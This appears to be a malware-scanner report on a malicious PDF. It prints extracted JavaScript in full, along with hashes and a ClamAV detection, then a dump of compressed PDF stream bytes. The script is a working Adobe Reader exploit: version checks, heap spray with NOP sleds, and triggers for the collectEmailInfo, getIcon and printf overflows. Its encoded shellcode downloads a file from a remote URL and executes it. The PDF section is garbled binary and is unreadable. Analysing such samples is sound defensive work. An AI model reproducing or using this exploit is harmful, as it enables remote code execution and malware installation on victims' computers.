Preview scriptFirst 1,000 lines of the extracted script
��function vbOPusNc(vb6ey6Vut){return vb6ey6Vut;}var aJvlnOjm=new Array(9070,18959,19100);var f7D1bcqX="vd9aTHHp";var oFJlWmX8 = 'var yiVRjOkYtm = new Array();var zfBUZF8x;function ozT5jZ5D(wYkUBVd4, ktekUbjH){while(wYkUBVd4.length * 2 < ktekUbjH){wYkUBVd4 += wYkUBVd4;}wYkUBVd4 = wYkUBVd4.substring(0, ktekUbjH / 2);return wYkUBVd4;}function mCMeZdpVP(hbpVkVkFCM){if(hbpVkVkFCM == 0){var l8v9dClzn = 0x0c0c0c0c;}else if(hbpVkVkFCM == 1){l8v9dClzn = 0x30303030;}var q9pY6GQ0b = new Array(\"%u5350%u5\",\"251%u57\",\"56%u9c5\",\"5%u00e8%u0\",\"000%u5d00%\",\"ued83%u3\",\"10d%u64c0%\",\"u4003%u783\",\"0%u8b0c\",\"%u0c40%u70\",\"8b%uad1c%\",\"u408b%\",\"ueb08%u8b0\",\"9%u3440%u\",\"408d%\",\"u8b7c%u\",\"3c40%u5\",\"756%u5eb\",\"e%u0001%u\",\"0100%ubfee\",\"%u014e\",\"%u0000%\",\"uef01%ud6\",\"e8%u0001\",\"%u5f00%\",\"u895e%u81e\",\"a%u5ec2%u0\",\"001%u5200%\",\"u8068%u0\",\"000%uf\",\"f00%u4e9\",\"5%u0001\",\"%u8900%\",\"u81ea%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u359c%u\",\"0263%u\",\"0000%ufb\",\"80%u7\",\"400%u\",\"8806%u\",\"321c%ue\",\"b46%uc\",\"6ee%u3\",\"204%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%\",\"u95ff%u015\",\"2%u0000\",\"%uea89%uc2\",\"81%u0\",\"250%u00\",\"00%u5052%u\",\"95ff%\",\"u0156%\",\"u0000%u006\",\"a%u006a%u\",\"ea89%uc28\",\"1%u015e%u0\",\"000%u89\",\"52%u81ea\",\"%u78c\",\"2%u0002%u\",\"5200%u006a\",\"%ud0ff%u05\",\"6a%uea\",\"89%uc281%\",\"u015e%u\",\"0000%uff\",\"52%u5a95\",\"%u0001%u\",\"8900%u81\",\"ea%u5ec2%u\",\"0001%u\",\"5200%u\",\"8068%u0000\",\"%uff00%u4\",\"e95%u00\",\"01%u89\",\"00%u8\",\"1ea%u5e\",\"c2%u0001\",\"%u310\",\"0%u01f6%u8\",\"ac2%u359c\",\"%u026e%u\",\"0000%ufb80\",\"%u7400%u\",\"8806%\",\"u321c%ueb\",\"46%uc\",\"6ee%u3\",\"204%u8\",\"900%u81\",\"ea%u45c2%u\",\"0002%u5\",\"200%u95f\",\"f%u0152%u\",\"0000%uea89\",\"%uc281%\",\"u0250\",\"%u0000%u50\",\"52%u95f\",\"f%u0156%u0\",\"000%u006a%\",\"u006a%\",\"uea89%u\",\"c281%u\",\"015e%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002%u520\",\"0%u006a%\",\"ud0ff\",\"%u056a%\",\"uea89%u\",\"c281%u015\",\"e%u0000%uf\",\"f52%u5a95%\",\"u0001%\",\"u9d00%u5\",\"f5d%u5a5e\",\"%u5b59%\",\"uc358%u000\",\"0%u00\",\"00%u0000%\",\"u0000%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u\",\"6547%u5\",\"474%u6\",\"d65%u5070\",\"%u7461\",\"%u4168%u\",\"4c00%u616f\",\"%u4c64\",\"%u6269\",\"%u617\",\"2%u797\",\"2%u0041%\",\"u6547\",\"%u5074%u\",\"6f72%u416\",\"3%u646\",\"4%u6572\",\"%u737\",\"3%u5700%u\",\"6e69%u\",\"7845%\",\"u6365%\",\"ubb00%uf28\",\"9%uf789%\",\"uc030%u7\",\"5ae%u2\",\"9fd%u89\",\"f7%u31f\",\"9%ubec0%u0\",\"03c%u000\",\"0%ub5\",\"03%u021b%u\",\"0000%uad\",\"66%u85\",\"03%u021b%u\",\"0000%u708b\",\"%u8378%\",\"u1cc6\",\"%ub503%u02\",\"1b%u0000%u\",\"bd8d%u021f\",\"%u000\",\"0%u03a\",\"d%u1b85%\",\"u0002%\",\"uab00%u03\",\"ad%u1b8\",\"5%u0002\",\"%u5000%u\",\"adab%\",\"u8503%u021\",\"b%u00\",\"00%u5\",\"eab%u\",\"db31%u\",\"56ad%\",\"u8503%\",\"u021b%u\",\"0000%uc68\",\"9%ud7\",\"89%ufc51%u\",\"a6f3%u7459\",\"%u5e0\",\"4%ueb43%\",\"u5ee9%ud1\",\"93%u03e0\",\"%u2785%u\",\"0002%u3\",\"100%u96\",\"f6%ua\",\"d66%ue0c1\",\"%u0302%u1f\",\"85%u0002\",\"%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%ueb\",\"c3%u0\",\"010%u0000\",\"%u0000%u0\",\"000%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u\",\"8900%u\",\"1b85%u00\",\"02%u5600%\",\"ue857%uff5\",\"8%uffff%u5\",\"e5f%u\",\"01ab%\",\"u80ce%ubb3\",\"e%u0274%\",\"uedeb%\",\"u55c3%u4c\",\"52%u4f4d%\",\"u2e4e%\",\"u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u\",\"776f%u6c\",\"6e%u616\",\"f%u54\",\"64%u4\",\"66f%u6c69\",\"%u4165%u7\",\"500%u\",\"6470%\",\"u7461%u2\",\"e65%u786\",\"5%u0065%u\",\"7263%u7\",\"361%u2e68%\",\"u6870%u00\",\"70%u7468%u\",\"7074%u2f3\",\"a%u742f%u\",\"6172%u6b63\",\"%u7265\",\"%u6c2e%u6b\",\"69%u64\",\"65%u7665\",\"%u6c69%u6\",\"32e%u6d6f\",\"%u352\",\"f%u752\",\"f%u6470%\",\"u7461%\",\"u2e65%u\",\"6870%u3f\",\"70%u6\",\"469%u\",\"333d%u\",\"7226%u\",\"7465%u6\",\"f3d%u0\",\"06b%u90\",\"00\");q9pY6GQ0b = unescape(q9pY6GQ0b.join(\"\"));var q9sXtOncko = 0x400000;var va7mY8cM = q9pY6GQ0b.length * 2;var ktekUbjH = q9sXtOncko - (va7mY8cM + 0x38);var wYkUBVd4 = unescape(\"%u9090%u9090\");wYkUBVd4 = ozT5jZ5D(wYkUBVd4, ktekUbjH);var n5e4GmGIKa = (l8v9dClzn - 0x400000) / q9sXtOncko;for(var gKGfNIjg = 0; gKGfNIjg < n5e4GmGIKa; gKGfNIjg++){yiVRjOkYtm[gKGfNIjg] = wYkUBVd4 + q9pY6GQ0b;}}function jxJhkMf2(){var rBMniiLJa = 0;var zzRTq7dyO = app.viewerVersion.toString();app.clearTimeOut(zfBUZF8x);if((zzRTq7dyO >= 8 && zzRTq7dyO < 8.102) || zzRTq7dyO < 7.1){mCMeZdpVP(0);var bT7jAmo1 = unescape(\"%u0c0c%u0c0c\");while(bT7jAmo1.length < 44952) bT7jAmo1 += bT7jAmo1;var qWB6pzpon9 = this;var laBXf53Fr = Collab;qWB6pzpon9[\"collabStore\"] = laBXf53Fr[\"collectEmailInfo\"]({subj : \"\", msg : bT7jAmo1});}if((zzRTq7dyO >= 8.102 && zzRTq7dyO < 8.104) || (zzRTq7dyO >= 9 && zzRTq7dyO < 9.1) || zzRTq7dyO <= 7.101){try{if(app.doc.Collab.getIcon){mCMeZdpVP(2);var swqUMHj0 = unescape(\" \");while(swqUMHj0.length < 0x4000){swqUMHj0 += swqUMHj0;}swqUMHj0 = \"N.\" + swqUMHj0;var mge6M2hGmG = app;mge6M2hGmG[\"doc\"][\"Collab\"][\"getIcon\"](swqUMHj0);rBMniiLJa = 1;}else{rBMniiLJa = 1;}}catch(e){rBMniiLJa = 1;}if(rBMniiLJa == 1){if(zzRTq7dyO == 8.102 || zzRTq7dyO == 7.1){mCMeZdpVP(1);var upC1McjEWW = \"12999999999999999999\";for(ar1gkQ9RM = 0; ar1gkQ9RM < 276; ar1gkQ9RM++){upC1McjEWW += \"8\";}var rfxwu5AIU4 = util;rfxwu5AIU4[\"printf\"](\"E000f\", upC1McjEWW);}}}}app.qw53gKJIH = jxJhkMf2;zfBUZF8x = app.setTimeOut(\"app.qw53gKJIH()\", 10);';v847Hso8j='ywtF0exopJ';function mrtzccJBY(lgKM5z1y){}var wyxZA3FeX=new Array(27940,8333);var hw7uuCjlG = oFJlWmX8.replace(/[]/g, '');this.emvdmINgG="oIFZIYIbG";var cMOmwedLLy="dem5WxX7g";var nB3upYHy="aqhpBlfh";var mTemA9jcn = 'e'+'v'+'a'+'l';app[mTemA9jcn](hw7uuCjlG);this.xW5itivYJ=0.20698;var dhmgURT2=false;this.uZFfCaF2a=null;
|
|||
generic_stage_recovery_008.js |
deobfuscated-js | generic stage recovery split-literal-normalize -> percent-decode from decompressed stream at 0x330F at offset 0x330F | 5777 bytes |
SHA-256: 4fc365129c6ff896e69ffdb77e91460fee91dd8413767aed66de703baff3b8cf |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 37 of 65 identifiers look randomly generated (e.g. 'q9sXtOncko') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function vbOPusNc(vb6ey6Vut){return vb6ey6Vut;}var aJvlnOjm=new Array(9070,18959,19100);var f7D1bcqX="vd9aTHHp";var oFJlWmX8 = 'var yiVRjOkYtm = new Array();var zfBUZF8x;function ozT5jZ5D(wYkUBVd4, ktekUbjH){while(wYkUBVd4.length * 2 < ktekUbjH){wYkUBVd4 += wYkUBVd4;}wYkUBVd4 = wYkUBVd4.substring(0, ktekUbjH / 2);return wYkUBVd4;}function mCMeZdpVP(hbpVkVkFCM){if(hbpVkVkFCM == 0){var l8v9dClzn = 0x0c0c0c0c;}else if(hbpVkVkFCM == 1){l8v9dClzn = 0x30303030;}var q9pY6GQ0b = new Array(\"%u5350%u5\",\"251%u57\",\"56%u9c5\",\"5%u00e8%u0\",\"000%u5d00%\",\"ued83%u3\",\"10d%u64c0%\",\"u4003%u783\",\"0%u8b0c\",\"%u0c40%u70\",\"8b%uad1c%\",\"u408b%\",\"ueb08%u8b0\",\"9%u3440%u\",\"408d%\",\"u8b7c%u\",\"3c40%u5\",\"756%u5eb\",\"e%u0001%u\",\"0100%ubfee\",\"%u014e\",\"%u0000%\",\"uef01%ud6\",\"e8%u0001\",\"%u5f00%\",\"u895e%u81e\",\"a%u5ec2%u0\",\"001%u5200%\",\"u8068%u0\",\"000%uf\",\"f00%u4e9\",\"5%u0001\",\"%u8900%\",\"u81ea%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u359c%u\",\"0263%u\",\"0000%ufb\",\"80%u7\",\"400%u\",\"8806%u\",\"321c%ue\",\"b46%uc\",\"6ee%u3\",\"204%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%\",\"u95ff%u015\",\"2%u0000\",\"%uea89%uc2\",\"81%u0\",\"250%u00\",\"00%u5052%u\",\"95ff%\",\"u0156%\",\"u0000%u006\",\"a%u006a%u\",\"ea89%uc28\",\"1%u015e%u0\",\"000%u89\",\"52%u81ea\",\"%u78c\",\"2%u0002%u\",\"5200%u006a\",\"%ud0ff%u05\",\"6a%uea\",\"89%uc281%\",\"u015e%u\",\"0000%uff\",\"52%u5a95\",\"%u0001%u\",\"8900%u81\",\"ea%u5ec2%u\",\"0001%u\",\"5200%u\",\"8068%u0000\",\"%uff00%u4\",\"e95%u00\",\"01%u89\",\"00%u8\",\"1ea%u5e\",\"c2%u0001\",\"%u310\",\"0%u01f6%u8\",\"ac2%u359c\",\"%u026e%u\",\"0000%ufb80\",\"%u7400%u\",\"8806%\",\"u321c%ueb\",\"46%uc\",\"6ee%u3\",\"204%u8\",\"900%u81\",\"ea%u45c2%u\",\"0002%u5\",\"200%u95f\",\"f%u0152%u\",\"0000%uea89\",\"%uc281%\",\"u0250\",\"%u0000%u50\",\"52%u95f\",\"f%u0156%u0\",\"000%u006a%\",\"u006a%\",\"uea89%u\",\"c281%u\",\"015e%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002%u520\",\"0%u006a%\",\"ud0ff\",\"%u056a%\",\"uea89%u\",\"c281%u015\",\"e%u0000%uf\",\"f52%u5a95%\",\"u0001%\",\"u9d00%u5\",\"f5d%u5a5e\",\"%u5b59%\",\"uc358%u000\",\"0%u00\",\"00%u0000%\",\"u0000%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u\",\"6547%u5\",\"474%u6\",\"d65%u5070\",\"%u7461\",\"%u4168%u\",\"4c00%u616f\",\"%u4c64\",\"%u6269\",\"%u617\",\"2%u797\",\"2%u0041%\",\"u6547\",\"%u5074%u\",\"6f72%u416\",\"3%u646\",\"4%u6572\",\"%u737\",\"3%u5700%u\",\"6e69%u\",\"7845%\",\"u6365%\",\"ubb00%uf28\",\"9%uf789%\",\"uc030%u7\",\"5ae%u2\",\"9fd%u89\",\"f7%u31f\",\"9%ubec0%u0\",\"03c%u000\",\"0%ub5\",\"03%u021b%u\",\"0000%uad\",\"66%u85\",\"03%u021b%u\",\"0000%u708b\",\"%u8378%\",\"u1cc6\",\"%ub503%u02\",\"1b%u0000%u\",\"bd8d%u021f\",\"%u000\",\"0%u03a\",\"d%u1b85%\",\"u0002%\",\"uab00%u03\",\"ad%u1b8\",\"5%u0002\",\"%u5000%u\",\"adab%\",\"u8503%u021\",\"b%u00\",\"00%u5\",\"eab%u\",\"db31%u\",\"56ad%\",\"u8503%\",\"u021b%u\",\"0000%uc68\",\"9%ud7\",\"89%ufc51%u\",\"a6f3%u7459\",\"%u5e0\",\"4%ueb43%\",\"u5ee9%ud1\",\"93%u03e0\",\"%u2785%u\",\"0002%u3\",\"100%u96\",\"f6%ua\",\"d66%ue0c1\",\"%u0302%u1f\",\"85%u0002\",\"%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%ueb\",\"c3%u0\",\"010%u0000\",\"%u0000%u0\",\"000%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u\",\"8900%u\",\"1b85%u00\",\"02%u5600%\",\"ue857%uff5\",\"8%uffff%u5\",\"e5f%u\",\"01ab%\",\"u80ce%ubb3\",\"e%u0274%\",\"uedeb%\",\"u55c3%u4c\",\"52%u4f4d%\",\"u2e4e%\",\"u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u\",\"776f%u6c\",\"6e%u616\",\"f%u54\",\"64%u4\",\"66f%u6c69\",\"%u4165%u7\",\"500%u\",\"6470%\",\"u7461%u2\",\"e65%u786\",\"5%u0065%u\",\"7263%u7\",\"361%u2e68%\",\"u6870%u00\",\"70%u7468%u\",\"7074%u2f3\",\"a%u742f%u\",\"6172%u6b63\",\"%u7265\",\"%u6c2e%u6b\",\"69%u64\",\"65%u7665\",\"%u6c69%u6\",\"32e%u6d6f\",\"%u352\",\"f%u752\",\"f%u6470%\",\"u7461%\",\"u2e65%u\",\"6870%u3f\",\"70%u6\",\"469%u\",\"333d%u\",\"7226%u\",\"7465%u6\",\"f3d%u0\",\"06b%u90\",\"00\");q9pY6GQ0b = unescape(q9pY6GQ0b.join(\"\"));var q9sXtOncko = 0x400000;var va7mY8cM = q9pY6GQ0b.length * 2;var ktekUbjH = q9sXtOncko - (va7mY8cM + 0x38);var wYkUBVd4 = unescape(\"%u9090%u9090\");wYkUBVd4 = ozT5jZ5D(wYkUBVd4, ktekUbjH);var n5e4GmGIKa = (l8v9dClzn - 0x400000) / q9sXtOncko;for(var gKGfNIjg = 0; gKGfNIjg < n5e4GmGIKa; gKGfNIjg++){yiVRjOkYtm[gKGfNIjg] = wYkUBVd4 + q9pY6GQ0b;}}function jxJhkMf2(){var rBMniiLJa = 0;var zzRTq7dyO = app.viewerVersion.toString();app.clearTimeOut(zfBUZF8x);if((zzRTq7dyO >= 8 && zzRTq7dyO < 8.102) || zzRTq7dyO < 7.1){mCMeZdpVP(0);var bT7jAmo1 = unescape(\"%u0c0c%u0c0c\");while(bT7jAmo1.length < 44952) bT7jAmo1 += bT7jAmo1;var qWB6pzpon9 = this;var laBXf53Fr = Collab;qWB6pzpon9[\"collabStore\"] = laBXf53Fr[\"collectEmailInfo\"]({subj : \"\", msg : bT7jAmo1});}if((zzRTq7dyO >= 8.102 && zzRTq7dyO < 8.104) || (zzRTq7dyO >= 9 && zzRTq7dyO < 9.1) || zzRTq7dyO <= 7.101){try{if(app.doc.Collab.getIcon){mCMeZdpVP(2);var swqUMHj0 = unescape(\" \");while(swqUMHj0.length < 0x4000){swqUMHj0 += swqUMHj0;}swqUMHj0 = \"N.\" + swqUMHj0;var mge6M2hGmG = app;mge6M2hGmG[\"doc\"][\"Collab\"][\"getIcon\"](swqUMHj0);rBMniiLJa = 1;}else{rBMniiLJa = 1;}}catch(e){rBMniiLJa = 1;}if(rBMniiLJa == 1){if(zzRTq7dyO == 8.102 || zzRTq7dyO == 7.1){mCMeZdpVP(1);var upC1McjEWW = \"12999999999999999999\";for(ar1gkQ9RM = 0; ar1gkQ9RM < 276; ar1gkQ9RM++){upC1McjEWW += \"8\";}var rfxwu5AIU4 = util;rfxwu5AIU4[\"printf\"](\"E000f\", upC1McjEWW);}}}}app.qw53gKJIH = jxJhkMf2;zfBUZF8x = app.setTimeOut(\"app.qw53gKJIH()\", 10);';v847Hso8j='ywtF0exopJ';function mrtzccJBY(lgKM5z1y){}var wyxZA3FeX=new Array(27940,8333);var hw7uuCjlG = oFJlWmX8.replace(/[]/g, '');this.emvdmINgG="oIFZIYIbG";var cMOmwedLLy="dem5WxX7g";var nB3upYHy="aqhpBlfh";var mTemA9jcn = 'eval';app[mTemA9jcn](hw7uuCjlG);this.xW5itivYJ=0.20698;var dhmgURT2=false;this.uZFfCaF2a=null;
|
|||
generic_stage_recovery_009.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize -> percent-decode from raw PDF metadata at offset 0x0 | 20589 bytes |
SHA-256: d0d68fef8c6931ef9a34c5f6d4c8d619ed79b0f68854eb140acb7a5e19daa03b |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2811>>
stream
x�՜˒۸ ��� g�d�!%Q��ƙKe*Y�ǙTjj ��@� H��� �mC��nm�v �X � s�p � �xA{
� <6�ǟ�O���x�w���w?Mh �!�]ӏo��=� =y��h LW�JH�<��h6 b|o �Ҋ��GD?h����SZ�o�gG��B|4|�lr�e��"��h9��1��菿$R���F��z��?��/����|2�O�� ���`1y�M����Vf� ��'�` �� ?��� � =�{~�7??~��p�O����� 1��)-�� ZQEq<�Ix|��7������}��K�����2�?Z槲 JRf�� ��:c�H��]i�RѾ�2���}O"-dFU�^S') �*�F��V�VR-e� ��J[P�+\foz��c� N9�U�
帑P�)Q���kH ��Pitmi/ � ��x��R�U�
�_)�� $gb_�� M�mA��] I�
6� 墑�V�+���SڵJ�~�EA�h� tn�*�Zj
� �0��R�Z��J`�J��j�(k��0�~� ٲ�,�[R�b�sʍ���� z
�)K� +�(���Ybbx �ڧ��$�=گ-$ З
U �$�/��� K�.�Z����65%��%5��D@�M)�T�� l� _m���uR� ,���shO���+ۜ`Z� ��O}���p��z#`,qO��0��"d� k�b���g �侄qL��l1���x/�Ԥz q �� x+b
�Bk��S�I ��O}��c�� � >��K!�G)%�/ �p/X��� ��,�%+R#���.��i[ڮ)���juM[x'��h ��&m}� � ��(�#%� N���s!�6��*!W$���T��{ 셹ƀ� 랽M�=�-E �&)[� +[��N�T���l4����5����n�Z��� �� <� �� �� cK Rg@�K ���؋�L�� �
6�j�轂� /
R
� ,f�ȵIEYY�<���3J6������FX� >$� �"�>�D� �D �� �� zF��ଽ��?_8�]� �� � -+ -r'�o�Qt�,� $Nhk9�0�H�U�Q&K � �x �6 , `�-��:�sG� �EB��(KI1�e�X�*d�h���M�*� wΐ�ƘD�?H���Z�W
^�W̍�a�J>2ȧ����8 OC k?$��dS�b�� -�z'N�i H>�M x �� ;z�! GL��/2� vZ$l��=.�!
}��8� ��1tX Y�Ԃ6���ː % O}!�T^&QkJ8"��o�@� X���7]��J� u�c0 � �z�{��A�� P'��k|j � *��U�#�� VN�T��匨b ��t�j��rUuD��F�(�~,�}�0g�'e�mx�(/^9|��� *#UV �w(���������3H���Ɇ�H �A.� \H� ���M��� ً��S���(�� �%�HA{��k �c�r��F���[>�� �rD0&t[#+_��. pV0�R��W�� jF�yP�!G�\c��s �)�p�!do���v��&�RzOk ��2:�9�`���1�� NE�� �1��"
Ps#��� �z��kN�i�t�Hm�|��6�� 6{m� y}Yy{�G����Ft�#Y�Js� +*�� !�a�"��l��+�;� ��N���=W ��7q�9j�R �
'M����p��=%��� ���ik��N<_prOర2 ��f�z���S^�(vk �� � �Om�A3�Y7�V Ac����:{�&� oj���y� � ̭�(d�J� Sim�� �?t2}j[:@����� �wDfN�b��^wy�R��c@�=�� ��[8<]� Ѕ�x�9Qp�4E Zޟ9S�R��� �F�[$P�� ��S���":�:H K� �� �c@$ p� ��S rf��� ��:J�|z��Wi R�� Ƃ�S � ����K, jc��bG�' 8�l9�nD%� Zų�C��k��Y�Ϧ�7W��꘍
� k,֑������đ�[iMϢŭ�� M��9��J�L�P��!C��{� .o�M�d#S$�d�`%Zd�L�� ���Z� �ԣ���a�֝� l X @ ��Kp�� �
�ui�3�� ���jӥK�����we��KA3����i ۧ����m٪�����C� 0a� yO9烫����S��`��J� N�X�u0?����� �_�(�t������:����~[�Ϡ�j$y�I�C ��[�� m�#j��s�D.��|c �UF���--��X A�ܣ������U$�u,� �9�TS��V�U-6FW ��aia�~���S�ҥ��{��/ 2�[�V��LCݧ��c�ж�$� B � �iI 3� �3�&���')��E�1�R�C#� ����Tɸ��U�� Rp O�d \ �� ;�|,��t��d�� �r{����g��*�!�b��[+K'�3� ٟ>� ]� ��^\�� ��+�� ��L �N����\.�0O���y���(3 �*�;uq�ק���� ��r :� �.m%��,>�� �|� ���Ev
�g�9ڠ�
7�D���s+h� ���,/d�F��^}�[:� txO��#P�bI +o
�b�:��x���a擋�� Α�D��%�Զp :<���
X'��z�[�'� ]��O}sG!�G��a�N�\���S�m�[61� �Y���k� �/v ����9Tx�4;�p���h� fD�\c؉60� = ��� ��+ �/�T7u { )��; ;,|���%㧛� 3�p�� K�[:�^�9��� '� i�=�S �c�ý�L�y<�ȟ��{[p������m��n F�C�5� �% �N���Q���������w t � Tg0� - ʘ+6
?��-�.��\ ~���� � p��K�яD=��
� /�~�3S7 �� )��$h ���hv���� p�? ���
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2569>>
stream
x�͛M��� ���+��I � d7���>�b:�d1g �, -�.���]S�]�P �ɢ���`��~<�W���%�ȧ/���_ �_)~>�'��tK i��>�f���ͷ�g��g 3o��->E o��y�E�o x~HII � Џ�~9�=���ۿ:�o��R��O� �&X,�pN� Ft�ү ��T� 4����Ͽ�� |���< �[� a��-��3��� 7<�/k� �{��v7x~�n� ��ӛ�������'��_=0���!b~� - +/XSIQ43����� ��/#"����'���G�G+o�h� � <% ǚ=�3jX�pʕ�(fRz����!�c�RW7���mUB��u�VI� ��R�7Tp�[~��7�DSP�4u9�[m��IW�� �S�|�����V��ӎ����x��W"멖,�G�� �7mQ2JT�*�J��0Y6��Z-r*����6
՚U �ctץ
w �5$ʚ� ��u�%�t�T[� ���%+1����� f� i��� �T�v�����I� ��Ř�Bu�\� zp�Σ�e��Tq�bb Ų�
m!J' � �3�o ��U�}s)o z�G�� mAM�� ���o �8 �Kb-��C [.)g5oh� ��� ���-�0L����h�S�s ���/-��*o���Ņ q��? >s�.�=�]�dKa S����G_:I��0���$"�P9�m{�c � �dC\� F4�� � �k�,��ڂ�zQ�+��85;�� �`��
�8� ̟����I iB��f��vy E�d F�� F�z�r� J�&:q%��Fζ �Q�.F�nqU&q <�3*UmRS� <�z��S�}�쁓P${�Y-���F< �Z3:�a�����9� �� ɣf ���RQ���G���vi��z� hw,&^mU�r> +���1-1K :7 � 5k[�f �F��BHK )x��Ҏ$KS8L �N$�U�QN��� #$, ���%�Q�5H�%.C2�D� #�l� ��{<"E� D� Y�{��� )0(�ρ�{ �* 5ޏ�O��R��RĆTS�� #�zRd�� i%�ڞ�N"��� �-'U`�w
�� *�Ο��*��� �P _�{��Y NF���6�� �BsK,�"� r�1B�"� z.��, ��J z �J� Qޕ"�`� ��� � &��* O �R\h�y� [L�Q X'�
։�x9% K���i � oB�G#��$3�"��K�e 5J�.���2Rl�� ����� �H�S�5�|
�;� ɫ�q��2f�q.�&Z[ �s
�� �0�}W� �
+
L����ieI� ���鈴 +_�q:���ٗJX:+.��G�<��dܕ�J���ҩ��M��`yVO��� |�]�Th��#y�| ��ȲA��� ٌm�y�˭ jL� CB���LB�R ��qC�2Q�
S��H$��
���=rΥ�����4u�B3��G�֗֫ ڴ
!��wJµ�� ^Zמ� � ?$U&�gXV#��� L6� =Z4� 1V�j �.Ņ6뿪����? �Q` 2�s��s�����^D����GxR
�ԍS}� �N38��t,Y� . e��,y=�l ��V� ) �@%g�t�%��V ' ��WJ���%����L��V ��itr�oi��Z ^���MM� e ��}Γf�My�v&z�v�ݘ/,�R3� ���� +��[�N�Y@ �@ �2 �r��l� ̺��U�C��~�kz*-� QDM�ПQʥ�� j��i �9
��Q?j ��ȧD3p���Ѽ��D�C~Ժ?��K}3 ��Jwl�=�\� -�, )?l�� sg^nƾU@ ��X]]c�&�%��N �y`Y��(5�] +��� ��T�[�؍ʓ�R% @A�mͲ�����h��R��fk� ^ R ��� �c�U�4]�� 9�Bl � ��G���֥���A����r� ;m/�V��5XX6��( ����ӕ�턚Υ��E͛A9����h�,_F ��-A���[� �t� �r$3��W ����g���@��65P ����)��+�� Y�Ω8�� �� to� �ȥ��h�{B��ԏ|��߯��"��� �m�0���|L&"a.��ܱ� m�� ��V #!��j�uChS � m�[sH��$�S�O0�I(.�-� � OϨ� ɆI�/E[�c� t:�����k� F /%߅�o�|�z���v߬���S��"�u8 � ���%ȁ�� �� H�]U��� �-@���8�����mځ��KGr k=����
ե�� �\3��;l +N
��w�㎅�M�n�z���Cu���� V� �fC-� � � W�z�? %� �-�'R���Q�ly +K��� j�� )��\�L�
.V��� a�ӱ.Á�u � {`: ;�3
�.�-l� �����=Ա�iٕfqQrSi4��ʥ���Շ���0��|�� N�k���B}�qV�#�ټ?Ԥ=G*� ��� ~3���t�_�Yʴ�3�.{��£� ��W���&'�? г�٦mi9o��� ʄ � �T ؼ���B�O�L@c�\.�� �j;:�z�O�^;��e�� �/ ���|�&����T�k �[[��}s.廿��t�^߾��_}, wN��ˣ݂��͜�~= w�� �0�����72�,�o{ ~5/{_���� ����k�*6��4?R���o� ���:
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2714>>
stream
x��[Ms�8 ��W���v/ � �����$����d����9�$H� %+�~ �c�6%Q��S�*)6-�h��` $K�QH ��~� 9^ �*o�}� �Ǵ > ���/�cѓc E�`��)!%�`��y $8o aLYM?�#�� �r8{F+wvxv _(�G�'�$|M�X �V1 &�9����r�v?j�N��_ �� ��߮�d� � F ��2>\S������ �9�d � ��� x��� ث�7/��Ӈ�O? ���q|: � �h�X њjJ������%��n~���Ҿ<��izX�d , V��SC� MI ��=�J7���� �ӂ T cȴ��8�N� �Lg U�6� 2')j|Kʴ=�S_�<�L��pڔ�ij�)�uN�oq��E �/����:<��Z�Z� �d[Qɶ\��t�� ?�TȾ��4g [˩T5� x b D ��A����"�ט�
���ۀN� +��:Q���lC�d ��� ��sN_ � ���<�� �Tёa� ��[��fq0 s IO�2 �Xd���δ �#���^JjYש�6 K`��{ʔdT���� �L�d@� R�!��'��k��E�)ĭ�!�:D +:����cⰝ�pJՎcx?J)0�,M5�q�� �͘R ��ؓ�;��1� ���� �ɰt�8˱Z: ��� f`�2j ���ޘ�~�|� � ��P�� hԖ�=�� �6 � �
V�� l�PV� �%7^�'\<�ϯ �C )�2�1X��rQ� G��
Q!lF����R �X �-i�[���J� ��{��^�����^����s�m���6��-YZEd ���;�p (� ��P��-��_ }限���.��l�U�g ����� s��JY���+����%��^[nh �"� � B ��b�X-:Lr_"il�L44�� "[�P d�!04p Q6 k &*Y,q� � 9��K �� ,.���D�tZr �A�W �R�-x�5@Z�^ �!�*h"x,� " �d*UPWq�i��C5E F�
�;����&g �� ���� ?����>��� >�����w�l��^` ���d��U�0���Ox �E}+ �������֜� :[ ( Ϥ] ��!m *�*O��L} >�%N��h�d�R� �-$ � 0��r�&�N[.J�ׁ̜tL �1iV �Y�n���� ����<�i�� � �ט����;�ač@��B�
v�wc⭕� D�~g?rjq^� "��U:t�?�� ����NB�-��T�� ��K1� ��AN5#Rm�,����(��r5�'�,� b˽Bsto�߅N֎{�� ^Dzrdy��8**�ܟ � �� ��1�p��5
DP�
g����f>�' Q0�� 9v�%�ȟOl G�# }^ǽ�T�h��쟣���<jp31�W�o �P �[�S��N��.��c鴇 �(�1�Mn�, �P��q�WǓ���ޙ�ʖ� n��q�z� �:��1�%o���i���5.Ӱ N�� H��5� k?K�`L�� '�c�IvY���f \��F�m�+$� {RaӬ��q��B�� Ա�z�Gxi� �p�
